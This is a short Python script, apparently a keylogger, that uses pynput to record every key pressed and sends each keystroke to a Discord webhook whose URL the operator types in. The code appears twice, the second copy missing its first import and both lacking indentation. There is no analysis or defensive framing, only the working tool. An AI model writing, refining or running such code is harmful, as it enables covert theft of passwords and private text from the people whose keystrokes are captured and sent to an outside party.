from pynput.keyboard import Key, Listener
from dhooks import Webhook
import logging
import colorama
from colorama import Fore, Back, Style
from colorama import init
from termcolor import colored
colorama.init(autoreset=True)
hook = print(Fore.GREEN + "Enter webhook URL: ", end='')
Webhook1 = input()
log_send = Webhook(Webhook1)
def on_press(key):
logging.info(str(key))
log_send.send(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
from dhooks import Webhook
import logging
import colorama
from colorama import Fore, Back, Style
from colorama import init
from termcolor import colored
colorama.init(autoreset=True)
hook = print(Fore.GREEN + "Enter webhook URL: ", end='')
Webhook1 = input()
log_send = Webhook(Webhook1)
def on_press(key):
logging.info(str(key))
log_send.send(str(key))
with Listener(on_press=on_press) as listener:
listener.join()